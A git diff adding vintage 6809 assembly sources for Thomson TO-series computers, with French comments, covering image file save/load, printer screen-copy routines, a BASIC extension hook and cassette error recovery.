+ STA DKDRV
+ LDA #$20 Mode d'accès:"H20"
+ STA FILMOD (ouvre en output)
+ LDA #$41
+ STA FILNAM Nom de fichier:"A"
+ LDX #$2020
+ STX $6250 "Esp+Esp"
+ STX $6252 "Esp+Esp"
+ STX $6254 "Esp+Esp"
+ LDA #$20
+ STA $6256 "Esp"
+ LDA #$42
+ STA FILEXT Extension:"B"
+ LDA #$49
+ STA $6258 "I"
+ LDA #$4E
+ STA $6259 "N"
+ LDX #$4765
+ STX OPTBUF Commentaire:"Ge"
+ LDX #$7374
+ STX $625C "st"
+ LDX #$696D
+ STX $625E "im"
+ LDX #$6167
+ STX $6260 "ag"
+ LDA #2
+ STA FILTYP 2=fic en lang mach
+ LDA #0
+ STA ASCFLG 0=fichier binaire
+ RTS
+DEBUT LDA #5
+ STA PRC
+ LDX #$4000
+BOUC1 LDA ,X
+ LDB #4
+ JSR EXTRA
+ LEAX 1,X
+ CMPX #$5F4F
+ BNE BOUC1
+ LDB #6
+ JSR EXTRA
+ JSR INIT
+ LDA #$42
+ STA FILNAM Nom du fichier:"B"
+ LDB #3
+ JSR EXTRA
+ LDA #4
+ STA PRC
+ LDX #$4000
+BOUC2 LDA ,X
+ LDB #4
+ JSR EXTRA
+ LEAX 1,X
+ CMPX #$5F4F
+ BNE BOUC2
+ LDB #6
+ JSR EXTRA
+ RTS
+ FCC /(C)ALEXANDRE PUKALL/
+ END
diff --git a/code/3rdparty/sources4-divers/Micronews/LIT.ASM b/code/3rdparty/sources4-divers/Micronews/LIT.ASM
new file mode 100644
index 0000000..56e6312
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Micronews/LIT.ASM
@@ -0,0 +1,87 @@
+*
+* LIT.ASM / ROUTINE READ
+*
+* GESTION D'IMAGES (C) A. PUKALL
+* MICRONEWS No 46 page 28
+*
+
+PRC EQU $E7C3 Données port C
+EXTRA EQU $EC0C Appel extramonit.
+DKDRV EQU $6049 No du disk choisi
+CARCOU EQU $6196 Car. que DFCHRI
+* vient de lire
+FILMOD EQU $624B Mode fichier(OPEN)
+FILTYP EQU $624C Type de fichier:
+* 0=BASIC programme
+* 1=BASIC data file
+* 2=Machine lang.fil
+ASCFLG EQU $624D Flag ASCI:
+* 00=fichier BIN
+* FF=fichier ASCI
+FILNAM EQU $624F Buf nom de fichier
+* 8 car.H624F->H6256
+FILEXT EQU $6257 Buf ext nom fic.
+* 3 car.H6257->H6259
+
+ ORG $B000
+
+ JSR INIT
+ LDB #3
+ JSR EXTRA
+ JSR DEBUT
+ RTS
+INIT LDA #0 No lecteur: "0:"
+ STA DKDRV
+ LDA #$10 Type d'accès:"H10"
+ STA FILMOD (ouvre en input)
+ LDA #$41
+ STA FILNAM Nom de fichier:"A"
+ LDX #$2020
+ STX $6250 "Esp+Esp"
+ STX $6252 "Esp+Esp"
+ STX $6254 "Esp+Esp"
+ LDA #$20
+ STA $6256 "Esp"
+ LDA #$42
+ STA FILEXT Extension:"B"
+ LDA #$49
+ STA $6258 "I"
+ LDA #$4E
+ STA $6259 "N"
+ LDA #2
+ STA FILTYP 2=fic en lang mach
+ LDA #0
+ STA ASCFLG 0=fichier binaire
+ RTS
+DEBUT LDA #5
+ STA PRC
+ LDX #$4000
+BOUC1 LDB #5
+ JSR EXTRA
+ LDA CARCOU
+ STA ,X
+ LEAX 1,X
+ CMPX #$5F4F
+ BNE BOUC1
+ LDB #6
+ JSR EXTRA
+ JSR INIT
+ LDA #$42 Nom du fichier:"B"
+ STA FILNAM (1er car.)
+ LDB #3
+ JSR EXTRA
+ LDA #4
+ STA PRC
+ LDX #$4000
+BOUC2 LDB #5
+ JSR EXTRA
+ LDA CARCOU
+ STA ,X
+ LEAX 1,X
+ CMPX #$5F4F
+ BNE BOUC2
+ LDB #6
+ JSR EXTRA
+ RTS
+ FCC /(C)ALEXANDRE PUKALL/
+ END
diff --git a/code/3rdparty/sources4-divers/Micronews/SCPR.ASM b/code/3rdparty/sources4-divers/Micronews/SCPR.ASM
new file mode 100644
index 0000000..0044c06
--- /dev/null
+++ b/code/3rdparty/sources4-divers/Micronews/SCPR.ASM
@@ -0,0 +1,178 @@
+***************************************
+
+** ** *** ** ** * * *** *** * * * ***
+* * * * * * ** * * * * * ** * *
+** * ** ** ** * ** *** ** * * ** *
+ * * * * * * * * * * * * * * *
+** ** * * ** ** * * * * * * * * *
+
+***************************************
+* *
+* Par Michel SAINT-BRIANT / ASCI 1991 *
+* *
+***************************************
+
+* Cette petite routine installée en
+* résident permet à tout programme BASIC
+* 512 d'émuler une imprimante compatible
+* IBM Proprinter (toutes les imprimantes
+* pour ordinateur de type PC.
+
+****************************************
+* *
+* Ecrit spécialement pour les lecteurs *
+* *
+* de MICRONEWS (NANCY le 10/10/91) *
+* *
+****************************************
+
+ ORG $7800
+
+************** ^^^^ ****************
+* En fonction de certains programmes
+* qui utilisent la RAM en $7800 on
+* peut modifier cette valeur (jusqu'à
+* $9C00/$9D00 -> Attention à la pile!)
+************************************
+
+************************************
+* Déroutage de l'analyse des instruc-
+* tions BASIC. On cherche les codes
+* $FF,$A4,$AB correspondant à SCREEN-
+* PRINT et on les remplacera par un
+* TROFF inoffensif de code $91 après
+* avoir incrémenté de 2 le pointeur d'
+* instructions BASIC en $61C7.
+************************************
+
+
+INTER PSHS CC,X
+ CMPA #$FF Ordre BASIC 2ème
+ BNE QUIT \série
+ LDX $61C7
+ LDX 1,X
+ CMPX #$A4AB si=SCREENPRINT
+ BEQ SCRPRT alors>SCRPRT
+QUIT PULS CC,X,PC sinon on sort.
+
+SCRPRT LDX $61C7 pointeur=
+ LEAX 2,X pointeur+2
+ STX $61C7
+ LDA #$91 En sortie on va
+ PSHS DP,B,A,Y,U \simuler un
+ LDX #$4078 \TROFF
+ LDB #$14 on éteint le cur-
+ JSR $E803 seur (pollution!)
+ LDD #$1B40 <-Ajouter ici d'
+ LBSR PUTINT éventuels codes
+NEWLIN ORCC #$50 de commandes pour
+ LDA #$28 impression spéci-
+ STA -15,S ales (dble frappe
+ LDD #$3318 condensé,etc...)
+ LBSR PUTESC
+ TST $605F est-ce en 40 col?
+ BEQ CONS0
+CONS1 LDD #$4C80 $4C est le code
+ LBSR PUTESC pour le graphisme
+ LDB #$2 en double densité
+ LBSR PUTCPR suivi de longueur
+ BRA NEWCAR ($280=640 octets)
+CONS0 LDD #$4B40 $4B est le code
+ LBSR PUTESC pour le graphisme
+ LDB #$01 en simple densité
+ LBSR PUTCPR suivi de longueur
+NEWCAR LDA $E7C3 ($140=320 octets)
+ ORA #$01
+ STA $E7C3 <- RAMA
+CAR80 LDA -$78,X lit le caractère
+ LDB -$50,X (les 8 lignes et
+ STD -14,S les stocke en
+ LDA -$28,X dessous de la pi-
+ LDB ,X le en sécurité)
+ STD -12,S
+ LDA $28,X
+ LDB $50,X
+ STD -10,S
+ LDA $78,X
+ LDB $A0,X
+ STD -8,S
+ LDA #$08 inversion de la
+INVMAT ROL -14,S matrice 8x8 du
+ ROLB caractère-écran
+ ROL -13,S pour en faire
+ ROLB la matrice 8x8
+ ROL -12,S du caractère-
+ ROLB imprimante
+ ROL -11,S >> C >>>
+ ROLB / \
+ ROL -10,S / \
+ ROLB ROL= <-xxxxxxxx-<
+ ROL -9,S <<<<<<<<
+ ROLB
+ ROL -8,S rotation à gauche
+ ROLB le carry (C) va en
+ ROL -7,S b0,b0 en b1,b1 >b2
+ ROLB etc...b6>b7 et b7
+ BSR PUTCPR va dans le carry C
+ DECA
+ BNE INVMAT
+ LDA $E7C3 est-on sur RAMA?
+ BITA #$01
+ BEQ TESTFL test de fin de li-
+ TST $605F test mode \gne.
+ BEQ TESTFL si 80 col alors
+ ANDA #$FE on passe en RAMB
+ STA $E7C3 et on imprime le
+ BRA CAR80 caractère suivant.
+TESTFL LEAX 1,X
+ DEC -15,S jusqu'en fin de
+ BNE NEWCAR ligne
+ LEAX $0118,X
+ CMPX #$5FB8 jusqu'en fin d'
+ BHS FIN écran
+ LDD #$0A0D code de saut de
+ BSR PUTINT \ligne
+ LBRA NEWLIN
+FIN LDD #$1B40 réinitialisation
+ BSR PUTINT de l'imprimante.
+ PULS U,Y,A,B,DP
+ PULS X,CC,PC on sort...
+
+PUTESC PSHS B,A impression d'un
+ LDB #$1B code ESC ($1B) et
+ BSR PUTCPR de 2 autres codes.
+ PULS A,B
+PUTINT PSHS B impression de deux
+ TFR A,B codes (A puis B)
+ BSR PUTCPR
+ PULS B
+PUTCPR PSHS A impression d'un
+BOUCLE LDA $E7C3 Attente \caractere
+ ANDA #$40 passage du bit 6
+ BNE BOUCLE de $E7C3 à 0
+ TFR B,A
+ ANDA #$FE les bits 1 à 7 de
+ ANDB #$01 l'octet sont mis
+ STD -2,S de 1 à 7 en $E7C8
+ LDD $E7C8 et le bit 0 dans
+ ANDA #$01 le bit 0 de $E7C9.
+ ANDB #$FC
+ ADDD -2,S
+ STD $E7C8
+ ORB #$02 signal d'envoi de
+ STB $E7C9 caractère (bit1=1)
+ PULS A,PC
+
+********************************
+* Initialisation *
+********************************
+
+INIT PSHS A,X on installe la
+ LDX #INTER routine sur le
+ STX $67C1 déroutage d'analy-
+ LDA #$7E se d'instructions
+ STA $67C0 BASIC.
+ PULS A,X,PC
+
+
+ END
diff --git a/code/3rdparty/sources4-divers/NO-IOERR.ASM b/code/3rdparty/sources4-divers/NO-IOERR.ASM
new file mode 100644
index 0000000..9cd8842
--- /dev/null
+++ b/code/3rdparty/sources4-divers/NO-IOERR.ASM
@@ -0,0 +1,70 @@
+
+
+
+
+*
+* NO-IOERR.ASM
+*
+* Programmation en assembleur TO7
+* Editions Sybex Fagot et Barraly
+* Annexe 1 pages 162
+*
+* ======================================
+*
+* Gestion de l'erreur I/O sur lecteur de
+* cassettes.Récupération de la partie du
+* programme chargée avant l'interruption
+* Autorise la fonction LIST pour listage
+* et sauvegarde par: LIST"CASS:XXX.BAS"
+*
+
+ ORG 32701
+
+ LDX #26110
+SUITE LDA ,X+
+ CMPA #0
+ BNE SUITE (-6)
+ STX >26101
+ CLR >26103
+ CLR >26104
+ LDX #26101
+SUITE2 LDX ,X
+ STX >32750
+ LDD ,X
+ SUBD >32750
+ CMPD #256
+ BLO SUITE2 (-16)
+ LDY #0
+ STY ,X
+ RTS
+ END
+
+*
+* Programme Basic équivalent
+*
+* 10 CLEAR,32699:FOR I=32701 TO 32745:
+* READ I$:POKEI,VAL("&H"+I$):NEXT
+* 20 DATA 8E,65,FE,A6,80,81,00,26,FA,BF,
+* 65,F5,7F,65,F7,7F,65,F8,8E,65,F5,AE
+* ,84,BF,7E,EE,EC,84,B3,7F,EE,10,83,
+* 01,00,25,F0,10,8E,00,00,10,AF,84,39
+*
+*
+* MODE D'EMPLOI:
+*
+* Executer le programme Taper: RUN
+*
+* Charger avec LOAD le programme défec
+* -tueux jusqu'au point d'erreur.
+*
+* Taper en mode direct: EXEC 32701
+*
+* Contôler avec: LIST
+*
+* Sauvegander par: LIST"CASS:NOM.BAS"
+*
+*
+* Version assembleur:
+*
+* 10 CLEAR,32699:LOADM"NO-IOERR.BIN"
+*
diff --git a/code/3rdparty/sources4-divers/PAYSAGE1.ASM b/code/3rdparty/sources4-divers/PAYSAGE1.ASM
new file mode 100644
index 0000000..1e545ae
--- /dev/null
+++ b/code/3rdparty/sources4-divers/PAYSAGE1.ASM
@@ -0,0 +1,98 @@
+*
+* PAYSAGE1.ASM
+*
+* Passez facilement du BASIC au
+* langage machine des TO7(70),TO9
+* Programme No XXIX pages 203-215
+*
+* Voir également PAYSAGE2
+* Théophile No9 page 48 à 51
+*
+* =====================================
+*
+* Recopie d'écran en double dimensions
+* sur imprimante PR90-080.
+*
+
+RSOPC EQU $602B
+RSCOH EQU $E812
+
+ ORG $7D00 Soit 32000
+P1 PSHS U,Y,X,DP,D,CC
+R1 LDB #$40 Ouverture// Ecrit.
+ STB RSOPC
+ JSR RSCOH
+R2 LBCS D11
+R3 LDA $E7C3 Mémoire-caractère
+ ORA #1
+ STA $E7C3
+R4 LDB #8 .Code copie graph.
+ STB RSOPC .Imp.PR90-080+Mise
+ JSR RSCOH .en écriture
+ LBCS D11
+ LDU #&32000 Posit. pile U
+R7 LDX #$4000-1 Début programme
+D1 LDA #&40
+P2 PSHU A
+D2 LEAX 1,X
+ LDA #8
+P3 PSHU A
+D3 LDA #7
+P4 PSHU A
+P5 PSHU B
+D4 LDB 0,X
+P6 LDA 2,U
+D5 LSRB
+ DECA
+ BNE D5
+P7 PULU B
+ RORB
+P8 DEC 0,U
+ BEQ D6
+P9 PSHU B
+ LEAX &40,X
+ BRA D4
+D6 LSRB
+ ORB #$80
+ TST FLAG
+ BNE D9
+D7 JSR RSCOH Impression
+ BCS D11
+ LEAX -(6*&40),X
+P10 PULU A
+P11 DEC 0,U
+ BEQ P12
+ BRA D3
+P12 PULU A
+P13 DEC 0,U
+ BEQ P14
+ BRA D2
+P14 PULU A
+ LDB #$0A Avance lign/papier
+ JSR RSCOH
+ BCS D11
+ CMPX #$5F3F-(&40*3)
+ BEQ FIN
+ LEAX (6*&40),X
+ CMPX #$5F3F-(&40*4)
+ BEQ D8
+ BRA D1
+D8 INC FLAG
+ BRA D1
+D9 ANDB #$8F
+ BRA D7
+FIN LDD #$80A 3 copies/feuille
+D10 JSR RSCOH
+ BCS D11
+ DECA
+ BNE D10
+D11 CLR FLAG R.a.z FLAG
+ LDB #$0F Mis.mod.caract.imp
+ JSR RSCOH
+ LDB #$10 Fermeture
+ STB RSOPC
+ JSR RSCOH
+P15 PULS CC,D,DP,X,Y,U
+ SWI
+FLAG FCB 00
+ END
diff --git a/code/3rdparty/sources4-divers/RAW16.ASM b/code/3rdparty/sources4-divers/RAW16.ASM
new file mode 100644
index 0000000..fc010cf
--- /dev/null
+++ b/code/3rdparty/sources4-divers/RAW16.ASM
@@ -0,0 +1,251 @@
+* LECTURE D'UNE IMAGE RAW
+* SOURCE :
+* 320X200 16 COULEURS
+* DESTINATION :
+* 160X200 16 COULEURS (BITMAP 16)
+*
+* COPYRIGHT (C) HOME SOFT 1992
+
+ ORG $9000
+
+PUTC EQU $E803
+EXTRA EQU $EC0C
+DKDRV EQU $6049
+OPEN EQU 03
+FILMOD EQU $624B
+FILNAM EQU $624F
+INPUT EQU 05
+CARCOU EQU $6196
+EOFFLG EQU $6178
+CLOSE EQU 06
+PRC EQU $E7C3
+
+START PSHS A,B,X,Y,U,DP,CC
+ LDB #$1B
+ JSR PUTC
+ LDB #$5E
+ JSR PUTC
+ LDB #$14
+ JSR PUTC
+ CLR $E7DD
+
+ CLR DKDRV
+ LDB #$10
+ STB FILMOD
+ LDX #FILNAM
+ LDU #NAME
+NA2 LDB ,U+
+ BEQ NA1
+ STB ,X+
+ BRA NA2
+
+NA1 LDB #OPEN
+ JSR EXTRA
+
+ LDX #$4000
+ LDA PRC
+ ANDA #254
+ STA PRC
+
+LI11 LDB #INPUT
+ JSR EXTRA
+ TST EOFFLG
+ LBNE STP
+ INC PRC
+ LDA CARCOU
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI12
+ ORB #$10
+ BRA LI13
+LI12 ANDB #$EF
+LI13 LSLA
+ LSLA
+ BCC LI14
+ ORB #$01
+ BRA LI15
+LI14 ANDB #$FE
+LI15 STB ,X
+ DEC PRC
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI16
+ ORB #$10
+ BRA LI17
+LI16 ANDB #$EF
+LI17 LSLA
+ LSLA
+ BCC LI18
+ ORB #$01
+ BRA LI19
+LI18 ANDB #$FE
+LI19 STB ,X+
+ CMPX #$5F40
+ BLO LI11
+
+ LDX #$4000
+
+LI21 LDB #INPUT
+ JSR EXTRA
+ TST EOFFLG
+ LBNE STP
+ INC PRC
+ LDA CARCOU
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI22
+ ORB #$20
+ BRA LI23
+LI22 ANDB #$DF
+LI23 LSLA
+ LSLA
+ BCC LI24
+ ORB #$02
+ BRA LI25
+LI24 ANDB #$FD
+LI25 STB ,X
+ DEC PRC
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI26
+ ORB #$20
+ BRA LI27
+LI26 ANDB #$DF
+LI27 LSLA
+ LSLA
+ BCC LI28
+ ORB #$02
+ BRA LI29
+LI28 ANDB #$FD
+LI29 STB ,X+
+ CMPX #$5F40
+ BLO LI21
+
+ LDX #$4000
+
+LI31 LDB #INPUT
+ JSR EXTRA
+ TST EOFFLG
+ LBNE STP
+ INC PRC
+ LDA CARCOU
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI32
+ ORB #$40
+ BRA LI33
+LI32 ANDB #$BF
+LI33 LSLA
+ LSLA
+ BCC LI34
+ ORB #$04
+ BRA LI35
+LI34 ANDB #$FB
+LI35 STB ,X
+ DEC PRC
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI36
+ ORB #$40
+ BRA LI37
+LI36 ANDB #$BF
+LI37 LSLA
+ LSLA
+ BCC LI38
+ ORB #$04
+ BRA LI39
+LI38 ANDB #$FB
+LI39 STB ,X+
+ CMPX #$5F40
+ BLO LI31
+
+ LDX #$4000
+
+LI41 LDB #INPUT
+ JSR EXTRA
+ TST EOFFLG
+ LBNE STP
+ INC PRC
+ LDA CARCOU
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI42
+ ORB #$80
+ BRA LI43
+LI42 ANDB #$7F
+LI43 LSLA
+ LSLA
+ BCC LI44
+ ORB #$08
+ BRA LI45
+LI44 ANDB #$F7
+LI45 STB ,X
+ DEC PRC
+ LDB ,X
+ LSLA
+ LSLA
+ BCC LI46
+ ORB #$80
+ BRA LI47
+LI46 ANDB #$7F
+LI47 LSLA
+ LSLA
+ BCC LI48
+ ORB #$08
+ BRA LI49
+LI48 ANDB #$F7
+LI49 STB ,X+
+ CMPX #$5F40
+ BLO LI41
+
+ CLR COUL
+A0 LDB #INPUT
+ JSR EXTRA
+ TST EOFFLG
+ BNE STP
+ LDA CARCOU
+ STA ROUGE
+ LDB #INPUT
+ JSR EXTRA
+ TST EOFFLG
+ BNE STP
+ LDA CARCOU
+ ANDA #$F0
+ STA VERT
+ LDA CARCOU
+ ANDA #$0F
+ STA BLEU
+
+ LDA COUL
+ ASLA
+ STA $E7DB
+ LDA BLEU
+ LDB VERT
+ ORB ROUGE
+ STB $E7DA
+ STA $E7DA
+
+ INC COUL
+ LDB COUL
+ CMPB #16
+ BLO A0
+
+STP LDB #CLOSE
+ JSR EXTRA
+ PULS A,B,X,Y,U,DP,CC,PC
+
+NAME FCC " RAW"
+ FCB 0
+COUL RMB 1
+ROUGE RMB 1
+VERT RMB 1
+BLEU RMB 1
+
+ END
diff --git a/code/3rdparty/sources4-divers/SOURCE40.SAP b/code/3rdparty/sources4-divers/SOURCE40.SAP
new file mode 100755
index 0000000..01af140
--- /dev/null
+++ b/code/3rdparty/sources4-divers/SOURCE40.SAP
Binary files differ
diff --git a/code/3rdparty/sources4-divers/SOURCE41.SAP b/code/3rdparty/sources4-divers/SOURCE41.SAP
new file mode 100755
index 0000000..fbbbeb7
--- /dev/null
+++ b/code/3rdparty/sources4-divers/SOURCE41.SAP
Binary files differ
diff --git a/code/3rdparty/sources4-divers/SPRINT.ASM b/code/3rdparty/sources4-divers/SPRINT.ASM
new file mode 100644
index 0000000..c0294bc
--- /dev/null
+++ b/code/3rdparty/sources4-divers/SPRINT.ASM
@@ -0,0 +1,387 @@
+ TITLE SPRINT
+* V1.0 du 10.11.91
+* Guyot daniel 73 83 09 43
+* Machine TO et imprimante Citizen 120D+
+ECRIT EQU $0800
+CLOSE EQU $10
+OPEN EQU $40
+STAD EQU $4000
+ENDAD EQU $5F40
+* basic 1.0
+LECVIR EQU $08F3
+SNERRO EQU $0900 $07F3
+LECVAR EQU $1108 $0EB8
+LEVAR1 EQU $111A $0EF1
+INTERP EQU $201D $2B38
+*
+RSOPC EQU $602B
+SCRMOD EQU $605F
+NBSUP EQU $6773
+TABSUP EQU $6774
+ADRSUP EQU $6776
+*
+PRC EQU $E7C3
+RSCO EQU $E812
+
+ ORG $9000
+
+EXEC LDA #1
+ STA NBSUP
+ TFR PC,D
+ ADDD #$0014
+ STD TABSUP D -> TABFON
+ ADDD #$0006
+ STD ADRSUP D -> INTFON
+ ADDD #$001E
+ STD ADRFON,PCR D -> SPRINT
+ RTS
+
+TABFON FCC "SPRIN"
+ FCB $80+'T
+
+ADRFON RMB 2
+
+INTFON SUBA #$F9 $F9=$80+$79
+ CMPA #$00 fonction non
+ BLO INT2 implantée
+ LDD #$0F00
+ LEAX TAB5,PCR
+INT1 STB ,X+ mise à 0 des
+ DECA buffeurs
+ BNE INT1
+ LEAX ADRFON,PCR
+ JMP INTERP
+INT2 JMP SNERRO
+
+SPRINT CMPA #$00 Copie simple
+ BEQ START
+ CMPA #$2C , -> var suite
+ BEQ SPR1
+ CMPA #$3A : -> fin instr
+ BEQ START
+ JSR LECVAR
+ CMPB #$01 copie simple
+ BLO INT2
+ CMPB #$03 copie triple
+ BHI INT2 à venir
+ DECB
+ STB TAB5,PCR mode copie
+ CMPA #$2C
+ BNE START
+SPR1 JSR LECVIR
+ BEQ SPR2
+ JSR LECVAR
+ CMPB #$00 0 colonne
+ BLO INT2
+ CMPB #$20 32 colonnes
+ BHI INT2
+ STB TAB5+2,PCR nb colonnes
+ CMPA #$2C
+ BNE START
+SPR2 JSR LEVAR1
+ CMPB #$00 0 ligne
+ LBLO INT2
+ CMPB #$2F 47 lignes
+ LBHI INT2
+ STB TAB5+3,PCR nb lignes
+
+START PSHS U,Y,X,DP,B,A,CC
+ LEAX TAB0,PCR initialisation
+ LBSR FOR0
+ LDA #OPEN ouverture //
+ STA RSOPC
+ LBSR IMP0
+ LDD #ECRIT écrit caracter
+ STA RSOPC
+ LBSR IMP0
+ LDB SCRMOD
+ CMPB #$80 mode 80/40 col
+ BNE STA0 0 -> 40 col
+ INC TAB5+5,PCR 1 -> 80 col
+STA0 TST TAB5,PCR
+ BEQ SCOP copie simple
+
+ LBRA DCOP copie double
+
+TAB0 FCB 23
+ FCB $48,$1B dblfp off
+ FCB $46,$1B gras off
+ FCB $00,$78,$1B nql off
+ FCB $01,$55,$1B undir on
+ FCB $42,$43,$1B lpag 66
+ FCB $50,$1B pica
+ FCB $39,$1B
+ FCB $00,$35,$7E,$1B epson
+ FCB $40,$1B raz
+* interligne 24/216 pouce
+TAB1 FCB 3
+ FCB $18,$33,$1B
+* lg ligne 256+231=2*200+87(marge)
+TAB2 FCB 5
+ FCB $01,$E7,$05,$2A,$1B
+* lg ligne 256+64=320 (marge=0)
+TAB3 FCB 5
+ FCB $01,$40,$05,$2A,$1B
+TAB4 FCB 13
+ FCB $0A,$0D LF CR
+ FCB $40,$1B
+ FCB $00,$55,$1B undir off
+* pica espacement normal
+ FCB $00,$33,$7E,$1B
+ FCB $32,$1B 1/6 pouce
+TAB5 RMB 15
+
+SCOP LDX #$0000
+ LDA #$05 72p/p max 576
+ STA TAB3+3,PCR
+ TST TAB5+5,PCR
+ BEQ SCO1
+
+ LDA #$07 144p/p max1152
+ STA TAB3+3,PCR
+ LEAX $140,X 320 pts
+
+SCO1 LEAX $140,X 320 pts
+ LDB #$08
+ LDA TAB5+2,PCR nb colonnes
+ TST TAB5+5,PCR
+ BEQ SCO2
+
+ ASLA
+SCO2 MUL
+ LEAX D,X
+ STX TAB3+1,PCR
+ STD TAB5+1,PCR
+
+ LDA #$0A
+ STA TAB5+4,PCR
+
+ LDX #STAD
+ STX TAB5+7,PCR
+ LDD TAB5+3,PCR nb ligne
+ TSTA
+ BEQ SDE1
+ LBSR FOR2
+SDE1 PSHS X
+ LEAX TAB1,PCR interligne
+ LBSR FOR0
+ LEAX TAB3,PCR longueur lg
+ LBSR FOR0
+ PULS X
+
+ LDD TAB5+1,PCR nb colonnes
+ PSHS A
+ TFR B,A
+ TSTA
+ BEQ SDE2
+ CLRB
+ LBSR FOR2
+SDE2 PULS A
+ TSTA
+ BEQ SDE3
+ DECA
+ PSHS A
+ LDA #$FF
+ LBSR FOR2
+ LBSR IMP0
+ BRA SDE2
+
+SDE3 CLR TAB5+10,PCR
+
+SDE4 LDA #$08
+ STA TAB5+11,PCR
+SDE5 CLR TAB5+12,PCR
+ CLR TAB5+13,PCR
+ LDB TAB5+10,PCR
+ LDX TAB5+7,PCR
+ LEAX B,X
+SDE6 LDA TAB5+11,PCR
+ STA TAB5+14,PCR
+
+ TST TAB5+6,PCR
+ BNE SDE7
+ LBSR RAMA 0 -> ramA
+ BRA SDE8
+SDE7 LBSR RAMB 1 -> ramB
+
+SDE8 LDB ,X
+
+SDE9 RORB
+ TFR CC,A
+ DEC TAB5+14,PCR
+ BNE SDE9
+ TFR A,CC
+
+SDE10 ROL TAB5+13,PCR
+ INC TAB5+12,PCR
+ LDA TAB5+12,PCR
+ CMPA #$08 fin col caract
+ BEQ SDE11
+ LEAX $28,X ligne suivante
+ BRA SDE6
+
+SDE11 DEC TAB5+11,PCR -1 col caract
+ LDB TAB5+13,PCR bits col carac
+
+ BSR IMP0 ecrit col car
+
+ LDA TAB5+11,PCR
+ BNE SDE5 si>0 continuer
+
+
+ TST TAB5+5,PCR flag scrmod
+ BEQ COL0
+ TST TAB5+6,PCR flag ram ecran
+ BNE COL0
+ INC TAB5+6,PCR
+ BRA SDE4
+
+COL0 CLR TAB5+6,PCR
+
+ INC TAB5+10,PCR
+ LDA TAB5+10,PCR
+ CMPA #$28 nb colonnes
+ LBNE SDE4
+
+ INC TAB5+9,PCR
+
+ LDB #$0D fin de ligne
+ BSR IMP0
+ PSHS X
+ LEAX TAB1,PCR interligne
+ BSR FOR0
+ PULS X
+ LDB #$0A
+ BSR IMP0
+
+ LDA TAB5+9,PCR
+ CMPA #$19 nb lignes
+ LBEQ FIN2 fin ecran
+
+ LDD #$0140
+ LDX TAB5+7,PCR
+ LEAX D,X
+ STX TAB5+7,PCR
+ LBRA SDE1
+
+FOR0 LDA ,X transf tab(s)
+FOR1 LDB A,X
+ BSR IMP0
+ DECA
+ BNE FOR1
+ RTS
+FOR2 BSR IMP0
+ DECA
+ BNE FOR2
+ RTS
+
+RAMA LDA PRC ecran forme
+ ORA #$01
+ STA PRC
+ RTS
+
+RAMB LDA PRC ecran fond
+ ANDA #$FE
+ STA PRC
+ RTS
+
+IMP0 JMP RSCO
+
+DCOP LDD #$060A
+ STD TAB5+3,PCR
+ LDD #$5700
+ STD TAB5+1,PCR
+DDE0 LDX #STAD
+ LEAX -40,X
+ STX TAB5+7,PCR flag limite ecr
+ LDY #ENDAD
+ LEAY -40,Y
+ LDD TAB5+3,PCR
+ BSR FOR2
+DDE2 CLR TAB5+9,PCR 4bits poid fort
+DDE3 PSHS X
+ LEAX TAB1,PCR interligne
+ BSR FOR0
+ LEAX TAB2,PCR longueur lg
+ BSR FOR0
+ PULS X
+
+ LDD TAB5+1,PCR
+ BSR FOR2
+ TFR Y,X Y->X adr octet
+
+GPL0 TST TAB5+6,PCR flag ram ecran
+ BNE GPL1
+ BSR RAMA 0 -> ramA
+ BRA GPL2
+GPL1 BSR RAMB 1 -> ramB
+GPL2 LDA ,X
+ TST TAB5+5,PCR flag scrmod
+ BEQ GPL3
+ TFR A,B
+ BRA IMP1
+GPL3 CLRB
+ TST TAB5+9,PCR flag passe
+ BEQ GPL4
+ ROLA
+ ROLA
+ ROLA
+ ROLA
+GPL4 ROLA
+ BCS GPL8
+GPL5 ROLA
+ BCS GPL9
+GPL6 ROLA
+ BCS GPL10
+GPL7 ROLA
+ BCS GPL11
+ BRA IMP1
+GPL8 LDB #$C0
+ BRA GPL5
+GPL9 ADDB #$30
+ BRA GPL6
+GPL10 ADDB #$0C
+ BRA GPL7
+GPL11 ADDB #$03
+
+IMP1 LBSR IMP0 copie
+ LBSR IMP0
+ LEAX -40,X on remonte 1 lg
+ CMPX TAB5+7,PCR borne 3FD8/4000
+ BNE GPL2 2eme passe
+ LDB #$0D FIN2 de lg
+ LBSR IMP0
+ PSHS X
+ LEAX TAB1,PCR interlg
+ LBSR FOR0
+ PULS X
+ LDB #$0A
+ LBSR IMP0
+ TST TAB5+5,PCR
+ BEQ IMP2
+ INC TAB5+9,PCR
+IMP2 TST TAB5+9,PCR
+ BNE COL1 si S=1 -> COL 0
+ INC TAB5+9,PCR 4 b poid faible
+ LBRA DDE3
+
+COL1 TST TAB5+5,PCR flag scrmod
+ BEQ COL3
+ TST TAB5+6,PCR flag ram ecran
+ BNE COL2 si 1 -> RAMA
+ INC TAB5+6,PCR
+ LBRA DDE2
+COL2 CLR TAB5+6,PCR
+COL3 LEAY 1,Y
+ CMPY #ENDAD
+ BEQ FIN2
+ INC TAB5+8,PCR
+ LBRA DDE2
+
+FIN2 LEAX TAB4,PCR
+ LBSR FOR0
+ LDA CLOSE
+ STA RSOPC
+ LBSR IMP0
+ PULS U,Y,X,DP,B,A,CC,PC
+ END
diff --git a/code/3rdparty/sources4-divers/TOMI.ASM b/code/3rdparty/sources4-divers/TOMI.ASM
new file mode 100644
index 0000000..fb5f885
--- /dev/null
+++ b/code/3rdparty/sources4-divers/TOMI.ASM
@@ -0,0 +1,107 @@
+***************************************
+* *
+* ****** **** ** ** ** ** *
+* ** ** ** *** *** *** *
+* ** ** ** ** * * ** ** **** *
+* ** ** ** ** * ** ** ** *
+* ** ** ** ** ** ** ** *
+* ** ** ** ** ** ** ** *
+* ** **** ** ** ** **** *
+* *
+***************************************
+
+
+FIN EQU $9100
+
+
+ ORG $9000
+
+TOMI1 PSHS U,Y,X,DP,B,A,CC
+ LDA #$E7
+ PSHS A
+ TFR A,DP
+TOMI2 LDU #$A000
+TOMI3 LDA $E7C3
+ ANDA #8
+ BNE SORTIE
+ LDA #$08
+ STA ,S
